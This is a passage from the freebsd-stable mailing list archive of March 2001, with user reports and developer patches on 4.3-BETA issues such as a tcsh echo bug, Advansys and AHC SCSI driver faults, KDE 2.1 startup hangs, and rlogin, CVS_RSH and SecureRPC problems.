(qmail 4575 invoked from network); 14 Mar 2001 08:02:41 -0000 Received: from acs-24-154-53-165.zoominternet.net (24.154.53.165) by scully.zoominternet.net with SMTP; 14 Mar 2001 08:02:41 -0000 Date: Wed, 14 Mar 2001 03:08:47 -0500 (EST) From: Donn Miller X-X-Sender: To: David Kelly Cc: Pete French , , , Subject: Re: Disk I/O problem in 4.3-BETA In-Reply-To: <200103140404.f2E44Ne16415@grumpy.dyndns.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 13 Mar 2001, David Kelly wrote: > Well, I am an ex-Linux user who got fed up with Linux trashing my disk 3 > times one week. Each time (kernel panics) the damage was bad enough fsck > (e2fsck?) deleted a lot of critical files making a wipe/reinstall the > fastest way back to a running system. This was shortly after the release > of FreeBSD 2.0.0. Remember it well because that is when I became a > FreeBSD user. Hmm, probably 6 years ago this month. > > Have watched Linux from "outside" since then. Noticed I was not the > only one losing data. From what I've seen the Linux solution was not to > to fix a faulty design but to hack it until it doesn't lose as much. I agree -- EXT2 is kinda crappy. But to be fair, Linux has Reiserfs, and I've heard of EXT3 on the way. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 0:41:40 2001 Delivered-To: freebsd-stable@freebsd.org Received: from pcwin002.win.tue.nl (pcwin002.win.tue.nl [131.155.71.72]) by hub.freebsd.org (Postfix) with ESMTP id 564FD37B719 for ; Wed, 14 Mar 2001 00:41:37 -0800 (PST) (envelope-from stijn@pcwin002.win.tue.nl) Received: (from stijn@localhost) by pcwin002.win.tue.nl (8.11.3/8.11.3) id f2E8fZF00900 for freebsd-stable@freebsd.org; Wed, 14 Mar 2001 09:41:35 +0100 (CET) (envelope-from stijn) Date: Wed, 14 Mar 2001 09:41:35 +0100 From: Stijn Hoop To: freebsd-stable@freebsd.org Subject: FWD: tcsh 6.10.00 echo;echo;echo; bug with fix Message-ID: <20010314094135.B361@pcwin002.win.tue.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010313191333C.jkh@osd.bsdi.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, this bug also exists in 4.3-BETA as of today; is this fixable in time for 4.3 ? --Stijn ----- Forwarded message from "Andrey A. Chernov" ----- From: "Andrey A. Chernov" To: tcsh-bugs@mx.gw.com Cc: current@freebsd.org Subject: tcsh 6.10.00 echo;echo;echo; bug with fix echo;echo;echo; must output 3 new lines but currently not due to obvious bug: --- sh.func.c.bak Fri Dec 1 01:18:27 2000 +++ sh.func.c Tue Mar 13 13:04:54 2001 @@ -1147,7 +1147,7 @@ #endif /* BSDSIGS */ v++; if (*v == 0) - return; + goto done; gflag = 0, tglob(v); if (gflag) { v = globall(v); -- Andrey A. Chernov http://ache.pp.ru/ ----- End forwarded message ----- -- If today is the first day of the rest of your life, what the hell was yesterday? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 0:52:50 2001 Delivered-To: freebsd-stable@freebsd.org Received: from fling.sanbi.ac.za (fling.sanbi.ac.za [196.38.142.119]) by hub.freebsd.org (Postfix) with ESMTP id AD93B37B719 for ; Wed, 14 Mar 2001 00:52:44 -0800 (PST) (envelope-from irvine@sanbi.ac.za) Received: from tango.sanbi.ac.za ([196.38.142.79] helo=sanbi.ac.za) by fling.sanbi.ac.za with esmtp (Exim 3.13 #4) id 14d71O-000B6a-00 for freebsd-stable@freebsd.org; Wed, 14 Mar 2001 10:52:42 +0200 Message-ID: <3AAF315A.2AD1E46F@sanbi.ac.za> Date: Wed, 14 Mar 2001 10:52:42 +0200 From: Irvine Short Organization: SANBI X-Mailer: Mozilla 4.76C-SGI [en] (X11; I; IRIX 6.5 IP32) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@freebsd.org Subject: KDE 2.1 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It now compiles straight out of the box, thanks for all the work guys! Now though it hangs a long time on "initialising peripherals" and then gives me a plain grey screen. Anyone using it seccuessfully on FreeBSD? I'm running 4.3-BETA from yesterday. -- Irvine Short Sys Admin SANBI, University of the Western Cape, South Africa http://www.sanbi.ac.za tel: +27-21-959 3645 fax: +27-21-959 2512 cel: +27-82-494 3828 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 1: 0:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id CF30237B718; Wed, 14 Mar 2001 01:00:48 -0800 (PST) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id TAA17937; Wed, 14 Mar 2001 19:30:46 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 14 Mar 2001 19:30:46 +1030 (CST) From: "Daniel O'Connor" To: "Daniel O'Connor" Subject: RE: Advansys Weirdness (tm) Cc: gibbs@freebsd.org, freebsd-scsi@freebsd.org, freebsd-stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 14-Mar-01 Daniel O'Connor wrote: > The second time the adw0 line is printed, there is no line which says that the > firmware load failed, but I don't know if that's because it suceeded or if it > bombs > before then. > > I will get a stack trace soon. OK, well I see that the Advansys code doesn't do a bus_release_resource() when an error happens. I think that in adw_pci_attach() instead of just doing return(ENXIO), do err = ENXIO; goto bailout; [ .. ] bailout: if (regs) bus_release_resource(dev, regs_type, regs_id, regs); I will see if I can work up a proper diff :) WRT the actual problem (ie the firmware doesn't load) I am guessing the card must be faulty since it has a problem in the BIOS.. (Where it says init error 0x2) - that problem doesn't happen all the time, but most of the time. Occassionally the card actually works properly though. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 1: 3:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from level3.dynacom.net (level3.dynacom.net [206.107.213.213]) by hub.freebsd.org (Postfix) with SMTP id D52BB37B718 for ; Wed, 14 Mar 2001 01:03:35 -0800 (PST) (envelope-from kstewart@urx.com) Received: (qmail 1802 invoked by uid 0); 14 Mar 2001 09:03:35 -0000 Received: from unknown (HELO urx.com) (206.159.132.160) by mail.urx.com with SMTP; 14 Mar 2001 09:03:35 -0000 Message-ID: <3AAF33E7.44B17DD9@urx.com> Date: Wed, 14 Mar 2001 01:03:35 -0800 From: Kent Stewart Reply-To: kstewart@urx.com Organization: Dynacom X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Irvine Short Cc: freebsd-stable@freebsd.org Subject: Re: KDE 2.1 References: <3AAF315A.2AD1E46F@sanbi.ac.za> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Irvine Short wrote: > > It now compiles straight out of the box, thanks for all the work guys! > > Now though it hangs a long time on "initialising peripherals" and then > gives me a plain grey screen. Looks like you need to run the setup or config again. My coppermine based system has an old SIS video card in it. I couldn't run XF86Setup and had to run the config version. > > Anyone using it seccuessfully on FreeBSD? I am on 4 computers. I updated the fastest two to the 4.3-beta2 source after JKH announced beta-2. The system with dual 866 coppermines is running fine. The AMD 900 Thunderbird can't find libmng.so.0. I will reinstall that set in a few minutes. It was running before I exited to do the install world and then rebooted. There were also some inconsistencies when I originally upgraded the HD's. This isn't the first problem and I assume it won't be the last. Kent > > I'm running 4.3-BETA from yesterday. > -- > > Irvine Short > > Sys Admin > SANBI, University of the Western Cape, South Africa > http://www.sanbi.ac.za > tel: +27-21-959 3645 > fax: +27-21-959 2512 > cel: +27-82-494 3828 > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://kstewart.urx.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 1:30:10 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns2.alphaque.com (ns2.alphaque.com [202.185.254.11]) by hub.freebsd.org (Postfix) with SMTP id 81D3B37B719 for ; Wed, 14 Mar 2001 01:30:01 -0800 (PST) (envelope-from dinesh@alphaque.com) Received: (qmail 17106 invoked from network); 14 Mar 2001 09:29:57 -0000 Received: from j2.jrc29.jaring.my (HELO prophet.alphaque.com) (161.142.126.16) by ns2.alphaque.com with SMTP; 14 Mar 2001 09:29:57 -0000 Received: from localhost (bq09jq@localhost.alphaque.com [127.0.0.1]) by prophet.alphaque.com (8.11.3/8.11.3) with ESMTP id f2E9T9p01999; Wed, 14 Mar 2001 17:29:09 +0800 (MYT) (envelope-from dinesh@alphaque.com) Date: Wed, 14 Mar 2001 17:29:09 +0800 (MYT) From: Dinesh Nair To: Irvine Short Cc: freebsd-stable@freebsd.org Subject: Re: KDE 2.1 In-Reply-To: <3AAF315A.2AD1E46F@sanbi.ac.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 14 Mar 2001, Irvine Short wrote: > > Anyone using it seccuessfully on FreeBSD? > I'm running 4.3-BETA from yesterday. i am and it seems fine, though noatun crashes upon startup, so does kpresenter. artsd works ok, and using xmms for mp3s is fine here. kppp has some bugs in it, primarily its unability to show the remote and local ip addresses after ppp negotiation. kppp on kde1 showed this fine. konsole seems to set the TERM to xterm instead of to xterm-color which kvt used. thus getting console to run pine with konsole -e doesnt allow pine to take advantage of a color xterm. visually, it is slicker than kde1 though. --dinesh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 1:31:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id B083837B718; Wed, 14 Mar 2001 01:31:31 -0800 (PST) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id UAA18463; Wed, 14 Mar 2001 20:01:29 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Wed, 14 Mar 2001 20:01:29 +1030 (CST) From: "Daniel O'Connor" To: "Daniel O'Connor" Subject: RE: Advansys Weirdness (tm) Cc: freebsd-stable@freebsd.org, freebsd-scsi@freebsd.org, gibbs@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 14-Mar-01 Daniel O'Connor wrote: > bus_release_resource(dev, regs_type, regs_id, regs); > > I will see if I can work up a proper diff :) Well that wasn't as hard as I expected :) Attached is a diff which seems to work OK when the card firmware fails to load. (As in the next KLD load doesn't die) I think adw_attach needs a bus_teardown_intr in fail to be symmetrical, but I'm not 100% sure. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 1:32:20 2001 Delivered-To: freebsd-stable@freebsd.org Received: from winston.osd.bsdi.com (winston.osd.bsdi.com [204.216.27.229]) by hub.freebsd.org (Postfix) with ESMTP id AEE3737B718; Wed, 14 Mar 2001 01:32:16 -0800 (PST) (envelope-from jkh@osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by winston.osd.bsdi.com (8.11.2/8.11.1) with ESMTP id f2E9VGH97153; Wed, 14 Mar 2001 01:31:16 -0800 (PST) (envelope-from jkh@osd.bsdi.com) To: stable@freebsd.org Cc: gibbs@freebsd.org Subject: Uh oh. Looks like something broke with the AHC driver.. X-Mailer: Mew version 1.94.1 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20010314013116G.jkh@osd.bsdi.com> Date: Wed, 14 Mar 2001 01:31:16 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 31 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm just testing the 4.3-BETA2 on my standard scratchbox (a dual PIII/500 with two 9.1GB Quantum drives) and with the latest BETA build, I'm seeing an unusual problem during extraction of the distribution bits: First, I start getting the following message looping on the console: (da0:ahc0:0:0:0): Invalidating pack (cd0:ahc0:0:4:0): SCB 0x12 - timed out in Data-out phase, SEQADDR == 0x8 STACK == 0x3, 0x181, 0x16b, 0x0 SXFRCTL0 == 0x80 ahc0: Dumping Card State at SEQADDR 0x8 SCSISEQ = 0x12, SBLKCTL = 0xa, SSTAT0 0x0 SCB count = 90 Kernel NEXTQSCB = 20 Card NEXTQSCB = 20 QINFIFO entries: Waiting Queue entries: Disconnected Queue entries: Suffice it to say that the installation croaks at this point. Now here's the interesting bit: This only happens reliably if I enable soft updates on the root partition. Any real correlation? I have no idea. Anyway, JFYI. If I can start reproducing it in other ways, I'll let you know whether I've started to consider it a release show-stopper bug or not. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 1:35:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id D151937B732; Wed, 14 Mar 2001 01:35:29 -0800 (PST) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id UAA18536; Wed, 14 Mar 2001 20:05:28 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_=XFMail.1.4.0.FreeBSD:010314200528:9706=_" In-Reply-To: Date: Wed, 14 Mar 2001 20:05:28 +1030 (CST) From: "Daniel O'Connor" To: "Daniel O'Connor" Subject: RE: Advansys Weirdness (tm) Cc: gibbs@freebsd.org, freebsd-scsi@freebsd.org, freebsd-stable@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format --_=XFMail.1.4.0.FreeBSD:010314200528:9706=_ Content-Type: text/plain; charset=us-ascii > Attached is a diff which seems to work OK when the card firmware fails to load. > (As in the next KLD load doesn't die) Whoops.. actually attach the diff this time. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum --_=XFMail.1.4.0.FreeBSD:010314200528:9706=_ Content-Disposition: attachment; filename="adw_pci_release.diff" Content-Transfer-Encoding: 7bit Content-Description: adw_pci_release.diff Content-Type: text/plain; charset=us-ascii; name=adw_pci_release.diff; SizeOnDisk=1836 Index: adw_pci.c =================================================================== RCS file: /local1/ncvs/src/sys/dev/advansys/adw_pci.c,v retrieving revision 1.12.2.1 diff -u -r1.12.2.1 adw_pci.c --- adw_pci.c 2000/08/02 22:22:40 1.12.2.1 +++ adw_pci.c 2001/03/14 09:26:38 @@ -231,16 +231,18 @@ } adw = adw_alloc(dev, regs, regs_type, regs_id); - if (adw == NULL) - return(ENOMEM); - + if (adw == NULL) { + error = ENOMEM; + goto bailout; + } + /* * Now that we have access to our registers, just verify that * this really is an AdvanSys device. */ if (adw_find_signature(adw) == 0) { - adw_free(adw); - return (ENXIO); + error = ENXIO; + goto bailout; } adw_reset_chip(adw); @@ -248,7 +250,7 @@ error = entry->setup(dev, entry, adw); if (error != 0) - return (error); + goto bailout; /* Ensure busmastering is enabled */ command |= PCIM_CMD_BUSMASTEREN; @@ -272,16 +274,14 @@ if (error != 0) { printf("%s: Could not allocate DMA tag - error %d\n", adw_name(adw), error); - adw_free(adw); - return (error); + goto bailout; } adw->init_level++; error = adw_init(adw); if (error != 0) { - adw_free(adw); - return (error); + goto bailout; } /* @@ -300,13 +300,24 @@ adw->irq = bus_alloc_resource(dev, adw->irq_res_type, &zero, 0, ~0, 1, RF_ACTIVE | RF_SHAREABLE); if (adw->irq == NULL) { - adw_free(adw); - return (ENOMEM); + error = ENOMEM; + goto bailout; } error = adw_attach(adw); - if (error != 0) - adw_free(adw); + + bailout: + if (error != 0) { + if (regs) + bus_release_resource(dev, regs_type, regs_id, regs); + if (adw->irq) { + /* teardown intr? */ + bus_release_resource(dev, adw->irq_res_type, 0, adw->irq); + } + if (adw) + adw_free(adw); + } + return (error); } --_=XFMail.1.4.0.FreeBSD:010314200528:9706=_-- End of MIME message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 1:56:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from tricky.sil.at (tricky.sil.at [62.116.31.2]) by hub.freebsd.org (Postfix) with ESMTP id 906B237B719 for ; Wed, 14 Mar 2001 01:56:47 -0800 (PST) (envelope-from stb@stringbeans.at) Received: from stringbeans.at (stb@localhost [127.0.0.1]) by tricky.sil.at (8.9.3/8.9.3) with ESMTP id KAA06290 for ; Wed, 14 Mar 2001 10:56:07 +0100 Message-ID: <3AAF4036.5D6EC253@stringbeans.at> Date: Wed, 14 Mar 2001 10:56:06 +0100 From: /me X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.17 i686) X-Accept-Language: en MIME-Version: 1.0 To: stable@FreeBSD.org Subject: subscribe Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe freebsd-stable To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 1:59:20 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mta03.mail.mel.aone.net.au (mta03.mail.au.uu.net [203.2.192.83]) by hub.freebsd.org (Postfix) with ESMTP id E7E0137B719; Wed, 14 Mar 2001 01:59:15 -0800 (PST) (envelope-from thyerm@camtech.net.au) Received: from camtech.net.au ([203.28.1.237]) by mta03.mail.mel.aone.net.au with ESMTP id <20010314095914.LGSI2527.mta03.mail.mel.aone.net.au@camtech.net.au>; Wed, 14 Mar 2001 20:59:14 +1100 Message-ID: <3AAF4214.8A81A1FD@camtech.net.au> Date: Wed, 14 Mar 2001 20:34:04 +1030 From: Matthew Thyer X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Dmitry Valdov Cc: stable@freebsd.org, current@freebsd.org Subject: Re: PAM(?) breaks r* and ftpd References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dmitry Valdov wrote: > > Hi! > > Try to make an .rhosts file and rlogin to fresh RELENG_4 or -CURRENT branch. > > rlogin -l dv xxx.xxx.xxx.xxx > I saw the rlogin problem but somehow fixed it later.... my pam.conf was OK so I uncommented the ipv6 versions of the services in /etc/inetd.conf and that seemed to fix it. As I did this at work, I cant reproduce this now. This is on -CURRENT To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 2: 0: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from carmel.diva.nl (carmel.diva.nl [195.86.140.150]) by hub.freebsd.org (Postfix) with ESMTP id 2E57137B71A for ; Wed, 14 Mar 2001 02:00:03 -0800 (PST) (envelope-from boland@carmel.diva.nl) Received: from localhost (boland@localhost) by carmel.diva.nl (8.11.1/8.11.1) with ESMTP id f2EA00O22609 for ; Wed, 14 Mar 2001 11:00:00 +0100 (CET) Date: Wed, 14 Mar 2001 11:00:00 +0100 (CET) From: Michiel Boland To: stable@freebsd.org Subject: CVS_RSH in 4.3-BETA Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi. Somewhere between 4.2 and 4.3, someone changed the default for CVS_RSH to 'ssh'. This does not appear to be documented anywhere. The info file still says that 'rsh' is the default. Can the docs be fixed? Or a line added to RELNOTES.TXT? I'm pretty sure this is going to bite a lot of people. Cheers Michiel To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 2:13:18 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-59.dsl.lsan03.pacbell.net [63.207.60.59]) by hub.freebsd.org (Postfix) with ESMTP id 0187A37B718 for ; Wed, 14 Mar 2001 02:13:16 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 2235166B6C; Wed, 14 Mar 2001 02:13:15 -0800 (PST) Date: Wed, 14 Mar 2001 02:13:15 -0800 From: Kris Kennaway To: Michiel Boland Cc: stable@freebsd.org Subject: Re: CVS_RSH in 4.3-BETA Message-ID: <20010314021315.A28976@mollari.cthul.hu> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="zhXaljGHf11kAtnf" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from boland@carmel.diva.nl on Wed, Mar 14, 2001 at 11:00:00AM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --zhXaljGHf11kAtnf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Mar 14, 2001 at 11:00:00AM +0100, Michiel Boland wrote: > Hi. >=20 > Somewhere between 4.2 and 4.3, someone changed the default for CVS_RSH to > 'ssh'. This does not appear to be documented anywhere. The info file still > says that 'rsh' is the default. Can the docs be fixed? Or a line added to > RELNOTES.TXT? I'm pretty sure this is going to bite a lot of people. It should be added to RELNOTES.TXT once the relevant committer (preferably the person who merged the change) gets off his proverbial and adds it. Can you submit a patch against the info file? Kris --zhXaljGHf11kAtnf Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6r0Q6Wry0BWjoQKURAhXOAJ9lOSERPxxXJf8cA20mLlUnwWN0SQCfWwmy k1yP9djpoqztXgHQm5tIYoI= =5aqv -----END PGP SIGNATURE----- --zhXaljGHf11kAtnf-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 2:16:59 2001 Delivered-To: freebsd-stable@freebsd.org Received: from dagobert.skystream.nl (smtp.uwnet.nl [195.7.130.55]) by hub.freebsd.org (Postfix) with ESMTP id BC90437B718 for ; Wed, 14 Mar 2001 02:16:56 -0800 (PST) (envelope-from abgoeree@uwnet.nl) Received: from dyn.dailup.c227129112.isd.to (dyn.dailup.c227129112.isd.to [213.227.129.112]) by dagobert.skystream.nl (8.11.3/8.11.0) with ESMTP id f2E8QBX11633 for ; Wed, 14 Mar 2001 09:26:12 +0100 Received: (qmail 54492 invoked by uid 1000); 14 Mar 2001 08:26:30 -0000 From: "Andre Goeree" Date: Wed, 14 Mar 2001 09:26:30 +0100 To: freebsd-stable@freebsd.org Subject: make buildkernel broken? (vm_map.c) Message-ID: <20010314092629.A54484@mandark.attica.home> Reply-To: abgoeree@uwnet.nl Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Sender: abgoeree@uwnet.nl Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, e opt_global.h -elf -mpreferred-stack-boundary=2 /usr/src/sys/vm/vm_map.c /usr/src/sys/vm/vm_map.c: In function `vm_map_init': /usr/src/sys/vm/vm_map.c:256: structure has no member named `infork' /usr/src/sys/vm/vm_map.c: In function `vmspace_fork': /usr/src/sys/vm/vm_map.c:2124: structure has no member named `infork' /usr/src/sys/vm/vm_map.c:2217: structure has no member named `infork' *** Error code 1 Any ideas? -- Andre. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 2:20:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from klima.physik.uni-mainz.de (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by hub.freebsd.org (Postfix) with ESMTP id F0F1637B719; Wed, 14 Mar 2001 02:20:31 -0800 (PST) (envelope-from ohartman@klima.physik.uni-mainz.de) Received: from klima.Physik.Uni-Mainz.DE (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by klima.physik.uni-mainz.de (8.11.3/8.11.3) with ESMTP id f2EAO8e02057; Wed, 14 Mar 2001 11:24:08 +0100 (CET) (envelope-from ohartman@klima.physik.uni-mainz.de) Date: Wed, 14 Mar 2001 11:24:08 +0100 (CET) From: "Hartmann, O." To: Cc: Subject: SecureRPC/netid/keychanges Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Dear Sirs. Obviously FreeBSD supports SecureRPC by some facilities to run at startup time. In our NIS/YP domain the NIS master server runs rpc.ypupdated and keyserv daemon, each user has an entry in /etc/publickey and there is the /etc/.rootkey file generated. On NIS master server I can change all keys without any problem, but from slave servers and clients, all running keyserv properly, I'm not able to change the key of a user (especially of mine); I receive the following error message (on a client in our domain): ohartman: /homes/ohartman: chkey Generating new key for unix.ID_No@Domainname Password: Retype password: Sending key change request to NIS_master chkey: unable to update NIS database (7): Local resource allocation failure In the master server's /etc/publickey file exists the user 'nobody' so it should possible to create new keys and especially change existent keys (as described in several additional literature and some netresources). It is confusing me that chkey is about to be creating a new key, not changing an existing key. And more confusing is the fact, that a local resource allocation failure occurs. The basic question is, whether SecureRPC has the full functionality in FreeBSD or not, especially SecureNFS in that way. I miss an export option for NFS-exported, securized filesystems in /etc/exports and I miss the /etc/netid file which is said to be present when SecureRPC is implemented in FreeBSD (there is no manpage for netid although mentioned in mknetid(8). -- MfG O. Hartmann ohartman@klima.physik.uni-mainz.de ---------------------------------------------------------------- IT-Administration des Institut fuer Physik der Atmosphaere (IPA) ---------------------------------------------------------------- Johannes Gutenberg Universitaet Mainz Becherweg 21 55099 Mainz Tel: +496131/3924662 (Maschinensaal) Tel: +496131/3924144 FAX: +496131/3923532 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 2:48:14 2001 Delivered-To: freebsd-stable@freebsd.org Received: from level3.dynacom.net (level3.dynacom.net [206.107.213.213]) by hub.freebsd.org (Postfix) with SMTP id 2F08D37B718 for ; Wed, 14 Mar 2001 02:48:10 -0800 (PST) (envelope-from kstewart@urx.com) Received: (qmail 10483 invoked by uid 0); 14 Mar 2001 10:48:08 -0000 Received: from unknown (HELO urx.com) (206.159.132.160) by mail.urx.com with SMTP; 14 Mar 2001 10:48:08 -0000 Message-ID: <3AAF4C68.9B77948@urx.com> Date: Wed, 14 Mar 2001 02:48:08 -0800 From: Kent Stewart Reply-To: kstewart@urx.com Organization: Dynacom X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: abgoeree@uwnet.nl Cc: freebsd-stable@freebsd.org Subject: Re: make buildkernel broken? (vm_map.c) References: <20010314092629.A54484@mandark.attica.home> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Andre Goeree wrote: > > Hello, > > e opt_global.h -elf -mpreferred-stack-boundary=2 /usr/src/sys/vm/vm_map.c > /usr/src/sys/vm/vm_map.c: In function `vm_map_init': > /usr/src/sys/vm/vm_map.c:256: structure has no member named `infork' > /usr/src/sys/vm/vm_map.c: In function `vmspace_fork': > /usr/src/sys/vm/vm_map.c:2124: structure has no member named 